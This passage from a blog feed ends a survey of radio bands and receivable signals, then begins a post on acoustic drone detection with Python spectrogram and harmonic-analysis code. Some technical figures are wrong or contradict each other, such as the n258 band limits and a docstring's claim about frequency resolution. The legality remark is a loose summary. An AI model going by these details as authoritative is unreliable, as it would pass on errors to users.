  <li>1,800 MHz band (GSM/LTE Band 3): 1,710–1,785 MHz UL, 1,805–1,880 MHz DL</li>
  <li>2,100 MHz band (UMTS/LTE Band 1): 1,920–1,980 MHz UL, 2,110–2,170 MHz DL</li>
  <li>2,600 MHz band (LTE Band 7): 2,500–2,570 MHz UL, 2,620–2,690 MHz DL</li>
</ul>

<p>GSM voice has been substantially replaced by VoLTE (Voice over LTE) in most European networks. LTE downlink is receivable with an SDR but decoding requires the network’s crypto keys unless monitoring in an environment with your own equipment.</p>

<p><strong>2.4 GHz ISM band (2,400–2,500 MHz):</strong> WiFi 802.11b/g/n/ax (14 channels, 20/40 MHz wide), Bluetooth (79 channels, 1 MHz wide, FHSS), Zigbee, Z-Wave, DJI OcuSync drone video and control, microwave ovens (2,450 MHz). The most congested 100 MHz of spectrum in modern life. WiFi channels 1, 6, and 11 are non-overlapping; channels 1 and 6 occupy 2,401–2,423 MHz and 2,426–2,448 MHz respectively.</p>

<p><strong>DJI DroneID (2.4 GHz FHSS):</strong> Consumer DJI drones broadcast Remote ID frames — serial number, GPS position, pilot location, altitude — every second in the EU as mandated by Commission Implementing Regulation (EU) 2019/947. Receivable with a HackRF and the gr-dji-droneid GNU Radio block.</p>

<p><strong>SDR accessibility:</strong> UHF up to approximately 1.766 GHz is directly receivable with RTL-SDR V3. 2.4 GHz and above requires HackRF, SDRplay RSP2, or Airspy R2. Directional antennas (patch, Yagi, helix) are practical at UHF frequencies due to manageable physical size.</p>

<hr />

<h2 id="shf--super-high-frequency-330-ghz-λ--110-cm">SHF — Super High Frequency (3–30 GHz, λ = 1–10 cm)</h2>

<p>SHF is the microwave band. Line-of-sight propagation is the rule; antenna gain from practical dishes and arrays becomes substantial (a 30 cm dish at 10 GHz achieves approximately 25 dBi gain). Rain attenuation becomes a design consideration above approximately 10 GHz.</p>

<h3 id="radar">Radar</h3>

<p>Radar systems are the dominant SHF occupant in terms of power and geographical coverage.</p>

<p><strong>S-band (2–4 GHz):</strong> Weather radar. The EU network of C-band and S-band weather radars (OPERA composite) covers the continent. Waveform: pulsed, with pulse widths of 1–5 μs and PRFs of 250–1,200 Hz. Range: 200–300 km. The NEXRAD system in the US operates at 2.7–3.0 GHz. Emissions are identifiable by their characteristic rotating scan pattern and range-ambiguity structure.</p>

<p><strong>C-band (4–8 GHz):</strong> Satellite uplinks (C-band FSS), weather radar (Météo-France uses C-band at 5.625–5.725 GHz), some airborne weather radar.</p>

<p><strong>X-band (8–12 GHz):</strong> Airborne weather and terrain mapping radar, ship navigation radar, some fire control radar. Maritime X-band navigation radar (9.3–9.5 GHz) is the characteristic “rotating radar” visible at harbours. The characteristic chirped waveform is identifiable in a waterfall.</p>

<p><strong>Ku-band (12–18 GHz):</strong></p>
<ul>
  <li>Satellite TV downlink: 10.7–12.75 GHz (BSS, FSS)</li>
  <li>Satellite internet downlink (Ku FSS): 10.7–12.75 GHz</li>
  <li>Starlink user terminal: 10.7–12.7 GHz down, 14.0–14.5 GHz up</li>
  <li>Ku-band radar: AESA radars in many modern combat aircraft</li>
</ul>

<p><strong>Ka-band (26.5–40 GHz):</strong></p>
<ul>
  <li>Satellite broadband (Ka FSS): 17.7–21.2 GHz down, 27.5–30 GHz up</li>
  <li>Automotive radar: 24.0–24.25 GHz (older systems, being phased out)</li>
  <li>5G mmWave: 26.5–29.5 GHz (EU n258 band, FR2)</li>
</ul>

<h3 id="wifi-at-5-and-6-ghz">WiFi at 5 and 6 GHz</h3>

<ul>
  <li>5 GHz WiFi (802.11a/n/ac/ax): 5.15–5.85 GHz, 20/40/80/160 MHz channels</li>
  <li>6 GHz WiFi (802.11ax): 5.925–7.125 GHz, new in Wi-Fi 6E/7</li>
</ul>

<p><strong>SDR accessibility:</strong> SHF reception requires specialised hardware. RTL-SDR tops out at 1.766 GHz; HackRF reaches 6 GHz with degraded performance above 4 GHz; dedicated microwave LNBs (Low-Noise Block downconverters) for satellite TV can be repurposed — a standard Ku-band LNB has an LO at 9.75 or 10.6 GHz and outputs to an L-band IF of 950–2,150 MHz, directly receivable by a standard SDR.</p>

<hr />

<h2 id="ehf--extremely-high-frequency-30300-ghz-λ--110-mm">EHF — Extremely High Frequency (30–300 GHz, λ = 1–10 mm)</h2>

<p>Millimetre waves. At these frequencies, atmospheric absorption becomes the dominant propagation constraint. Two strong absorption peaks define the practical windows:</p>

<p><strong>Atmospheric absorption lines:</strong></p>

<table>
  <thead>
    <tr>
      <th>Frequency</th>
      <th>Cause</th>
      <th>Attenuation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22.24 GHz</td>
      <td>Water vapour (H₂O)</td>
      <td>~0.05 dB/km at sea level</td>
    </tr>
    <tr>
      <td>60.4 GHz</td>
      <td>Oxygen (O₂)</td>
      <td>~15 dB/km — strong absorption window</td>
    </tr>
    <tr>
      <td>118.7 GHz</td>
      <td>Oxygen (O₂)</td>
      <td>~1.5 dB/km</td>
    </tr>
    <tr>
      <td>183.3 GHz</td>
      <td>Water vapour (H₂O)</td>
      <td>~35 dB/km (at sea level)</td>
    </tr>
  </tbody>
</table>

<p>The 60 GHz oxygen absorption peak (~15 dB/km) makes practical link ranges short — typically 50–200 m for gigabit-class systems — and makes interception from a distance considerably more difficult. The attenuation provides a degree of natural geometric isolation that lower frequencies cannot replicate. 60 GHz unlicensed WiGig (802.11ad/ay) exploits this for multi-gigabit short-range links.</p>

<p><strong>Transmission windows:</strong> Practical EHF communication uses the atmospheric transmission windows — bands between the absorption peaks where attenuation is tolerable:</p>
<ul>
  <li>35 GHz (Ka): 0.1 dB/km</li>
  <li>77 GHz (W-band): 0.3 dB/km</li>
  <li>94 GHz (W-band): 0.3 dB/km</li>
  <li>140 GHz (D-band): 0.5 dB/km</li>
</ul>

<h3 id="5g-mmwave">5G mmWave</h3>

<p>The 5G FR2 (Frequency Range 2) bands at 24.25–52.6 GHz provide multi-gigabit throughput over short distances (tens to hundreds of metres). Practical deployment uses:</p>

<ul>
  <li>n257: 26.5–29.5 GHz (EU), primary European mmWave 5G band</li>
  <li>n258: 24.25–27.5 GHz</li>
  <li>n261: 27.5–28.35 GHz (US)</li>
  <li>n260: 37–40 GHz (US)</li>
</ul>

<p>Beamforming (phased array antennas with hundreds of elements) is essential at mmWave — the antenna must steer the beam toward the user device dynamically. A single 5G mmWave base station typically manages 512–1,024 antenna elements.</p>

<h3 id="automotive-radar-7779-ghz">Automotive radar (77–79 GHz)</h3>

<p>Modern vehicle radar uses 76–77 GHz (LRR, Long Range Radar) and 77–81 GHz (SRR, Short Range Radar). FMCW (Frequency Modulated Continuous Wave) modulation — the transmitted frequency sweeps linearly while the received echo is mixed with the current transmitted signal, producing a beat frequency proportional to target distance. Doppler shift of the beat frequency gives radial velocity.</p>

<p>The 79 GHz band (76–81 GHz) has been standardised for automotive use by ETSI EN 302 264; effective radiated power limits are 55 dBm EIRP.</p>

<h3 id="passive-remote-sensing-and-radiometry">Passive remote sensing and radiometry</h3>

<p>EHF is the regime of passive microwave remote sensing. Satellites observe natural thermal emission from the Earth’s surface and atmosphere at EHF frequencies — the emitted brightness temperature encodes surface temperature, soil moisture, sea ice extent, precipitation, and atmospheric water vapour. AMSR-E (on Aqua), SSMIS (on DMSP), and similar instruments operate at frequencies including 6.9, 10.7, 18.7, 23.8, 36.5, and 89 GHz.</p>

<p><strong>SDR accessibility:</strong> Standard SDR hardware does not reach EHF. Microwave test equipment (VNAs, spectrum analysers) covers this range, as do purpose-built mmWave receivers. LNBs for Ka-band (26.5 GHz range) and experimental W-band mixer/downconverter modules are available for hobbyist use but represent specialist equipment.</p>

<hr />

<h2 id="cross-band-comparison">Cross-band comparison</h2>

<table>
  <thead>
    <tr>
      <th>Band</th>
      <th>Propagation</th>
      <th>Max range (practical)</th>
      <th>Key signals</th>
      <th>SDR minimum</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ELF</td>
      <td>Earth-ionosphere waveguide</td>
      <td>Global</td>
      <td>Schumann resonance, submarine comms</td>
      <td>Purpose-built only</td>
    </tr>
    <tr>
      <td>SLF</td>
      <td>Earth-ionosphere waveguide</td>
      <td>Global</td>
      <td>Submarine comms, power line</td>
      <td>Purpose-built only</td>
    </tr>
    <tr>
      <td>ULF</td>
      <td>Mixed</td>
      <td>Regional</td>
      <td>Mine comms, geophysics</td>
      <td>Purpose-built only</td>
    </tr>
    <tr>
      <td>VLF</td>
      <td>Earth-ionosphere waveguide</td>
      <td>Global</td>
      <td>Navy submarine, Omega heritage</td>
      <td>Upconverter + SDR</td>
    </tr>
    <tr>
      <td>LF</td>
      <td>Ground wave</td>
      <td>~2,000 km</td>
      <td>DCF77, WWVB, LORAN, NDB</td>
      <td>RTL-SDR V3 (≥500 kHz)</td>
    </tr>
    <tr>
      <td>MF</td>
      <td>Ground wave + night sky wave</td>
      <td>~2,000 km</td>
      <td>AM, NAVTEX, maritime</td>
      <td>RTL-SDR V3</td>
    </tr>
    <tr>
      <td>HF</td>
      <td>Ionospheric sky wave</td>
      <td>Global</td>
      <td>Shortwave, amateur, military, OTHR</td>
      <td>RTL-SDR V4 (built-in upconverter), V3 (direct sampling)</td>
    </tr>
    <tr>
      <td>VHF</td>
      <td>Line-of-sight + Es/ducting</td>
      <td>~200 km</td>
      <td>FM, aviation, AIS, NOAA APT</td>
      <td>RTL-SDR V3</td>
    </tr>
    <tr>
      <td>UHF</td>
      <td>Line-of-sight</td>
      <td>~100 km</td>
      <td>GPS, ADS-B, cellular, WiFi, drones</td>
      <td>RTL-SDR V3/V4 (to 1.766 GHz), HackRF (to 6 GHz)</td>
    </tr>
    <tr>
      <td>SHF</td>
      <td>Line-of-sight</td>
      <td>~50 km</td>
      <td>Radar, satellite, WiFi 5/6 GHz</td>
      <td>HackRF / LNB + SDR</td>
    </tr>
    <tr>
      <td>EHF</td>
      <td>Line-of-sight + absorption</td>
      <td>~200 m (60 GHz)</td>
      <td>5G mmWave, automotive radar</td>
      <td>Specialist hardware</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="a-note-on-legality">A note on legality</h2>

<p>In the Netherlands and the EU generally: receiving unencrypted transmissions passively is fine for personal research. Broadcasting, aviation, maritime, navigation — these are meant to be received by anyone. Encrypted content is a different matter; you can receive it but that’s where it stops. If you’re not sure about something specific, the Telecommunicatiewet is the relevant Dutch law.</p>

<p>Most of what’s on the air is just sitting there, waiting to be decoded.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="sigint" /><category term="RF" /><category term="spectrum" /><category term="ELF" /><category term="VLF" /><category term="HF" /><category term="VHF" /><category term="UHF" /><category term="SHF" /><category term="EHF" /><category term="propagation" /><category term="ionosphere" /><category term="SDR" /><category term="SIGINT" /><summary type="html"><![CDATA[A deep dive across the entire radio frequency spectrum — from the 7.83 Hz Schumann resonance at the bottom to millimetre-wave 5G at the top. Propagation physics, historical signals, notable allocations, and what a passive receiver can realistically hear in each band.]]></summary></entry><entry><title type="html">Acoustic drone detection: signal processing fundamentals from blade pass frequency to spectrogram classification</title><link href="https://yumas.hankouri.com/posts/2025/04/28/acoustic-drone-detection-signal-processing/" rel="alternate" type="text/html" title="Acoustic drone detection: signal processing fundamentals from blade pass frequency to spectrogram classification" /><published>2025-04-28T00:00:00+00:00</published><updated>2025-04-28T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2025/04/28/acoustic-drone-detection-signal-processing</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2025/04/28/acoustic-drone-detection-signal-processing/"><![CDATA[<div class="layman-summary"><p>
Multirotor drones make a distinctive noise — you can detect them by the blade pass frequency even when you can't see them. This post covers the signal processing side: how to extract that signature from microphone data, what the limits are, and where acoustic detection makes sense versus where it doesn't.
</p></div>

<p>Every multirotor drone produces a characteristic acoustic signature determined by the number, geometry, and rotation speed of its rotors. This signature has a predictable tonal structure — a series of harmonically related frequency peaks — that is stable enough to identify a drone at range, distinguish it from other noise sources, and in some cases differentiate between drone models. The signal processing chain that makes this possible is standard DSP with a few domain-specific considerations.</p>

<p>The physical basis of multirotor acoustics, the signal processing from raw audio to detection, and a working Python implementation. No neural networks, no trained classifiers — the goal is to understand the structure of the problem before applying pattern recognition.</p>

<hr />

<h2 id="the-physics-of-multirotor-acoustics">The physics of multirotor acoustics</h2>

<p>A rotating blade generates sound through two mechanisms: <strong>tonal</strong> (periodic) and <strong>broadband</strong> (stochastic).</p>

<p><strong>Tonal components</strong> arise from the periodic pressure disturbance created by each blade passing a fixed point in space. The fundamental frequency of this disturbance is the <strong>blade pass frequency (BPF)</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BPF = N_blades × RPM / 60   [Hz]
</code></pre></div></div>

<p>where <code class="language-plaintext highlighter-rouge">N_blades</code> is the number of blades per rotor and RPM is the rotor speed. A multirotor with multiple rotors produces multiple BPF tones — one per distinct rotor speed, since in a standard quadrotor two rotors spin clockwise and two counter-clockwise at nominally the same RPM, but manufacturing tolerances and differential thrust commands produce small differences.</p>

<p>The BPF tone is accompanied by a harmonic series at integer multiples: <code class="language-plaintext highlighter-rouge">BPF, 2×BPF, 3×BPF, ...</code>. The relative amplitude of the harmonics depends on the blade geometry and aerodynamic loading; the first few harmonics (BPF through 4×BPF) are typically the strongest.</p>

<p><strong>Typical BPF values for common platforms:</strong></p>

<table>
  <thead>
    <tr>
      <th>Platform</th>
      <th>Blades/rotor</th>
      <th>Typical RPM (hover)</th>
      <th>BPF</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>DJI Mini 3 Pro</td>
      <td>3</td>
      <td>5,500–7,000</td>
      <td>275–350 Hz</td>
    </tr>
    <tr>
      <td>DJI Mavic 3</td>
      <td>3</td>
      <td>6,000–8,000</td>
      <td>300–400 Hz</td>
    </tr>
    <tr>
      <td>DJI FPV</td>
      <td>2</td>
      <td>9,000–12,000</td>
      <td>300–400 Hz</td>
    </tr>
    <tr>
      <td>5” freestyle quad</td>
      <td>2</td>
      <td>12,000–18,000</td>
      <td>400–600 Hz</td>
    </tr>
    <tr>
      <td>5” quad (full throttle)</td>
      <td>2</td>
      <td>25,000–30,000</td>
      <td>833–1,000 Hz</td>
    </tr>
    <tr>
      <td>DJI Inspire 2</td>
      <td>2</td>
      <td>4,500–6,000</td>
      <td>150–200 Hz</td>
    </tr>
    <tr>
      <td>10” agricultural</td>
      <td>2</td>
      <td>3,000–5,000</td>
      <td>100–167 Hz</td>
    </tr>
  </tbody>
</table>

<p>The BPF varies with throttle — higher throttle → higher RPM → higher BPF. During hover the BPF is relatively stable; during manoeuvres it sweeps across a range of frequencies. This produces a characteristic <strong>frequency-time track</strong> in a spectrogram: a line that rises during acceleration and falls during deceleration, with harmonics visible as parallel lines at integer multiples of the fundamental.</p>

<p><strong>Broadband components</strong> arise from turbulence in the rotor wake and blade-surface boundary layer separation. They produce elevated noise across a broad frequency range (typically 200 Hz to 20 kHz) without tonal structure. This broadband floor is the hardest component to distinguish from background noise and limits detection at long range.</p>

<p><strong>Motor electrical tone</strong> (for brushless ESC-driven motors): the motor commutation frequency produces an additional tonal component:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>f_elec = (N_pole_pairs × RPM) / 60   [Hz]
</code></pre></div></div>

<p>A 12N14P motor (7 pole pairs) at 10,000 RPM: <code class="language-plaintext highlighter-rouge">f_elec = 7 × 10,000 / 60 ≈ 1,167 Hz</code>. This is typically much higher than BPF and may fall in a noisier part of the spectrum, but can serve as a secondary confirmation tone for short-range detection.</p>

<hr />

<h2 id="the-acoustic-signal-chain">The acoustic signal chain</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rotor noise → air propagation → microphone → ADC → DSP → detection
</code></pre></div></div>

<h3 id="microphone-and-adc-selection">Microphone and ADC selection</h3>

<p>Any microphone and ADC capable of sampling at ≥48 kHz and covering 100 Hz–5 kHz with flat frequency response is adequate. Consumer-grade USB microphones (MEMS or electret capsule, 16-bit, 44.1/48 kHz) capture the first several BPF harmonics of any drone in the relevant RPM range.</p>

<p>Considerations:</p>
<ul>
  <li><strong>Omnidirectional capsule</strong> for monitoring without knowing the drone’s direction; <strong>cardioid or directional</strong> to reduce wind noise and ground clutter at the cost of coverage angle</li>
  <li><strong>Wind screen</strong> is essential outdoors — wind turbulence over the capsule produces broadband noise that masks the drone signature below ~500 Hz and can completely swamp the BPF tones for most hovering drones</li>
  <li><strong>Self-noise floor</strong> of the microphone determines the minimum detectable source level; typical MEMS microphones have self-noise around 25–30 dB(A) SPL, limiting detection range in quiet environments</li>
</ul>

<h3 id="acoustic-propagation--signal-level-vs-range">Acoustic propagation — signal level vs range</h3>

<p>Sound pressure level decreases with distance following the inverse square law in free-field conditions:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SPL(r) = SPL(r₀) − 20·log₁₀(r/r₀)   [dB re 20 μPa]
</code></pre></div></div>

<p>where <code class="language-plaintext highlighter-rouge">r₀</code> is a reference distance (typically 1m from the source) and <code class="language-plaintext highlighter-rouge">r</code> is the measurement distance.</p>

<p>Representative drone source levels at 1m (from published measurements):</p>

<table>
  <thead>
    <tr>
      <th>Platform</th>
      <th>SPL at 1m (dBA)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>DJI Mini 3 Pro</td>
      <td>72–76</td>
    </tr>
    <tr>
      <td>DJI Mavic 3</td>
      <td>78–82</td>
    </tr>
    <tr>
      <td>DJI FPV</td>
      <td>85–90</td>
    </tr>
    <tr>
      <td>5” freestyle quad</td>
      <td>90–95</td>
    </tr>
  </tbody>
</table>

<p>At 100m range: <code class="language-plaintext highlighter-rouge">SPL = 76 − 20·log₁₀(100) = 76 − 40 = 36 dBA</code>. Ambient noise in a quiet rural environment is approximately 25–35 dBA; suburban is 45–55 dBA. A DJI Mini 3 Pro is audible at 100m in very quiet conditions, masked by suburban background noise.</p>

<p><strong>Practical acoustic detection range</strong> for common drones with a standard microphone at ambient noise of 45 dBA:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Detection when: SPL(r) ≥ ambient + minimum SNR
SPL(1m) − 20·log₁₀(r) ≥ 45 + 6   [6 dB SNR minimum for reliable detection]
r ≤ 10^((SPL(1m) − 51) / 20)
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Platform</th>
      <th>SPL at 1m</th>
      <th>Range at 45 dBA ambient, 6 dB SNR</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>DJI Mini 3 Pro</td>
      <td>74</td>
      <td>10^((74−51)/20) = 10^1.15 ≈ 14m</td>
    </tr>
    <tr>
      <td>DJI Mavic 3</td>
      <td>80</td>
      <td>10^(29/20) ≈ 28m</td>
    </tr>
    <tr>
      <td>DJI FPV</td>
      <td>87</td>
      <td>10^(36/20) ≈ 63m</td>
    </tr>
    <tr>
      <td>5” quad</td>
      <td>92</td>
      <td>10^(41/20) ≈ 112m</td>
    </tr>
  </tbody>
</table>

<p>These numbers are pessimistic — signal processing gain (coherent integration, harmonic stacking) can improve effective SNR by 10–15 dB, extending practical detection ranges to 50–400m depending on the drone and environment. They also assume omnidirectional noise; real wind noise is often much higher than the ambient SPL figure, compressing the detection range further.</p>

<p><strong>Wind is the dominant practical limit.</strong> Above Beaufort 2 (light breeze, ~3 m/s), wind noise at an unshielded microphone typically exceeds 50 dBA and masks all but the loudest drones at short range. Acoustic detection in outdoor environments is most effective in near-calm conditions or with directional, wind-baffled microphones.</p>

<hr />

<h2 id="signal-processing-chain">Signal processing chain</h2>

<h3 id="1-windowed-fft--spectral-resolution-and-leakage">1. Windowed FFT — spectral resolution and leakage</h3>

<p>The Discrete Fourier Transform (DFT) of a finite-length signal assumes the signal is periodic with a period equal to the analysis window length. When a sinusoidal component does not fall exactly on a DFT bin, energy leaks into adjacent bins — <strong>spectral leakage</strong> — which can obscure nearby tones and raise the apparent noise floor.</p>

<p>The solution is a <strong>window function</strong> applied to the time-domain block before the FFT. Different windows trade spectral leakage against frequency resolution:</p>

<table>
  <thead>
    <tr>
      <th>Window</th>
      <th>Main lobe width</th>
      <th>Side-lobe level</th>
      <th>Best for</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Rectangular</td>
      <td>2 bins</td>
      <td>−13 dB</td>
      <td>Exactly periodic signals; otherwise poor</td>
    </tr>
    <tr>
      <td>Hann</td>
      <td>4 bins</td>
      <td>−31 dB</td>
      <td>General-purpose; good balance</td>
    </tr>
    <tr>
      <td>Blackman</td>
      <td>6 bins</td>
      <td>−57 dB</td>
      <td>Low side-lobes; wider main lobe</td>
    </tr>
    <tr>
      <td>Blackman-Harris</td>
      <td>8 bins</td>
      <td>−92 dB</td>
      <td>Harmonic analysis with close-spaced tones</td>
    </tr>
    <tr>
      <td>Flat-top</td>
      <td>12 bins</td>
      <td>−93 dB</td>
      <td>Accurate amplitude measurement</td>
    </tr>
  </tbody>
</table>

<p>For drone BPF detection:</p>
<ul>
  <li><strong>Blackman-Harris</strong> is the best choice for harmonic analysis: its −92 dB side-lobe level prevents strong noise components from masking nearby BPF tones, even at the cost of wider main lobes (reduced frequency resolution)</li>
  <li><strong>Hann</strong> is adequate for most applications and is a reasonable default</li>
</ul>

<p><strong>Frequency resolution</strong> of the FFT:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Δf = fs / N_fft   [Hz per bin]
</code></pre></div></div>

<p>where <code class="language-plaintext highlighter-rouge">fs</code> is the sample rate and <code class="language-plaintext highlighter-rouge">N_fft</code> is the FFT length. To resolve BPF harmonics separated by as little as 10 Hz (e.g., two rotors running at slightly different RPM), we need <code class="language-plaintext highlighter-rouge">Δf ≤ 5 Hz</code>. At <code class="language-plaintext highlighter-rouge">fs = 44,100 Hz</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>N_fft ≥ fs / Δf = 44,100 / 5 = 8,820
</code></pre></div></div>

<p>Round up to the next power of two: <code class="language-plaintext highlighter-rouge">N_fft = 16,384</code> → <code class="language-plaintext highlighter-rouge">Δf = 44,100 / 16,384 ≈ 2.69 Hz/bin</code>. This gives sufficient resolution to resolve individual motor tones.</p>

<p><strong>Time resolution</strong> of the FFT:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>T_frame = N_fft / fs = 16,384 / 44,100 ≈ 371 ms
</code></pre></div></div>

<p>One FFT frame covers 371 ms of audio — fine for detecting hovering drones but slow to track BPF changes during rapid manoeuvres. For tracking dynamic frequency changes, shorter FFTs with more overlap are needed (handled by the STFT).</p>

<h3 id="2-short-time-fourier-transform-stft">2. Short-Time Fourier Transform (STFT)</h3>

<p>The STFT applies the windowed FFT repeatedly on overlapping frames, producing a time-frequency representation — the <strong>spectrogram</strong>. The tradeoff between time and frequency resolution is fundamental (analogous to the Heisenberg uncertainty principle for signals):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Δt × Δf ≥ 1   [time-frequency uncertainty]
</code></pre></div></div>

<p>For drone monitoring, a practical STFT configuration at 44.1 kHz sample rate:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="n">scipy.signal</span> <span class="kn">import</span> <span class="n">stft</span><span class="p">,</span> <span class="n">blackmanharris</span>
<span class="kn">import</span> <span class="n">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>

<span class="k">def</span> <span class="nf">compute_drone_spectrogram</span><span class="p">(</span>
    <span class="n">audio</span><span class="p">:</span> <span class="n">np</span><span class="p">.</span><span class="n">ndarray</span><span class="p">,</span>
    <span class="n">fs</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">44100</span><span class="p">,</span>
    <span class="n">nperseg</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">8192</span><span class="p">,</span>     <span class="c1"># FFT length — 186 ms frame at 44.1 kHz
</span>    <span class="n">noverlap</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">7168</span><span class="p">,</span>    <span class="c1"># 7/8 overlap → 23 ms hop → 43 Hz time resolution
</span>    <span class="n">fmax</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="mf">5000.0</span><span class="p">,</span>    <span class="c1"># upper frequency limit
</span>    <span class="n">db_range</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="mf">60.0</span>   <span class="c1"># dynamic range for display
</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">
    Compute a time-frequency spectrogram optimised for drone BPF detection.
    
    nperseg=8192, noverlap=7168:
      Δf = 44100/8192 ≈ 5.4 Hz (resolves ≥ 2 Hz separated harmonics)
      hop = 8192−7168 = 1024 samples → Δt ≈ 23 ms
    </span><span class="sh">"""</span>
    <span class="n">window</span> <span class="o">=</span> <span class="nf">blackmanharris</span><span class="p">(</span><span class="n">nperseg</span><span class="p">)</span>

    <span class="n">freqs</span><span class="p">,</span> <span class="n">times</span><span class="p">,</span> <span class="n">Zxx</span> <span class="o">=</span> <span class="nf">stft</span><span class="p">(</span>
        <span class="n">audio</span><span class="p">,</span>
        <span class="n">fs</span>       <span class="o">=</span> <span class="n">fs</span><span class="p">,</span>
        <span class="n">window</span>   <span class="o">=</span> <span class="n">window</span><span class="p">,</span>
        <span class="n">nperseg</span>  <span class="o">=</span> <span class="n">nperseg</span><span class="p">,</span>
        <span class="n">noverlap</span> <span class="o">=</span> <span class="n">noverlap</span><span class="p">,</span>
    <span class="p">)</span>

    <span class="c1"># Power spectral density in dBFS
</span>    <span class="n">Sxx</span> <span class="o">=</span> <span class="mi">20</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="nf">log10</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="nf">abs</span><span class="p">(</span><span class="n">Zxx</span><span class="p">)</span> <span class="o">+</span> <span class="mf">1e-12</span><span class="p">)</span>

    <span class="c1"># Limit to fmax
</span>    <span class="n">freq_mask</span> <span class="o">=</span> <span class="n">freqs</span> <span class="o">&lt;=</span> <span class="n">fmax</span>
    <span class="n">freqs_cut</span> <span class="o">=</span> <span class="n">freqs</span><span class="p">[</span><span class="n">freq_mask</span><span class="p">]</span>
    <span class="n">Sxx_cut</span>   <span class="o">=</span> <span class="n">Sxx</span><span class="p">[</span><span class="n">freq_mask</span><span class="p">,</span> <span class="p">:]</span>

    <span class="k">return</span> <span class="n">freqs_cut</span><span class="p">,</span> <span class="n">times</span><span class="p">,</span> <span class="n">Sxx_cut</span>
</code></pre></div></div>

<h3 id="3-noise-floor-estimation-and-normalisation">3. Noise floor estimation and normalisation</h3>

<p>A drone spectrogram against a real outdoor background has a non-uniform noise floor: wind and traffic produce high energy at low frequencies, while the mid-band (500 Hz–3 kHz) is typically quieter. Normalising the spectrogram against a per-frequency noise floor estimate makes tonal drone features stand out:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">normalise_spectrogram</span><span class="p">(</span><span class="n">Sxx</span><span class="p">:</span> <span class="n">np</span><span class="p">.</span><span class="n">ndarray</span><span class="p">,</span> <span class="n">percentile</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="mf">20.0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">np</span><span class="p">.</span><span class="n">ndarray</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">
    Subtract a per-frequency noise floor estimate from the spectrogram.
    The noise floor is estimated as the Nth percentile of power over time.
    Percentile 20% works well for intermittent sources like drones.
    </span><span class="sh">"""</span>
    <span class="c1"># Noise floor: low percentile along time axis for each frequency bin
</span>    <span class="n">noise_floor</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">percentile</span><span class="p">(</span><span class="n">Sxx</span><span class="p">,</span> <span class="n">percentile</span><span class="p">,</span> <span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">keepdims</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">Sxx</span> <span class="o">-</span> <span class="n">noise_floor</span>  <span class="c1"># normalised excess power
</span></code></pre></div></div>

<p>After normalisation, tonal components appear as bright horizontal ridges at constant frequencies (for hovering drones) or diagonal streaks (for drones accelerating/decelerating).</p>

<h3 id="4-harmonic-product-spectrum--bpf-detection">4. Harmonic product spectrum — BPF detection</h3>

<p>Given a normalised spectrogram, the <strong>Harmonic Product Spectrum (HPS)</strong> detects the fundamental frequency of a harmonic series by multiplying the spectrum with downsampled copies of itself:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">harmonic_product_spectrum</span><span class="p">(</span>
    <span class="n">spectrum</span><span class="p">:</span> <span class="n">np</span><span class="p">.</span><span class="n">ndarray</span><span class="p">,</span>
    <span class="n">n_harmonics</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">4</span>
<span class="p">)</span> <span class="o">-&gt;</span> <span class="n">np</span><span class="p">.</span><span class="n">ndarray</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">
    Compute the Harmonic Product Spectrum (HPS) for fundamental frequency detection.
    
    HPS[f] = S[f] × S[2f] × S[3f] × ... × S[n×f]
    
    The fundamental frequency of a harmonic series (e.g., BPF) appears as a strong
    peak in HPS even when individual harmonics are weak against background noise.
    </span><span class="sh">"""</span>
    <span class="n">hps</span> <span class="o">=</span> <span class="n">spectrum</span><span class="p">.</span><span class="nf">copy</span><span class="p">()</span>
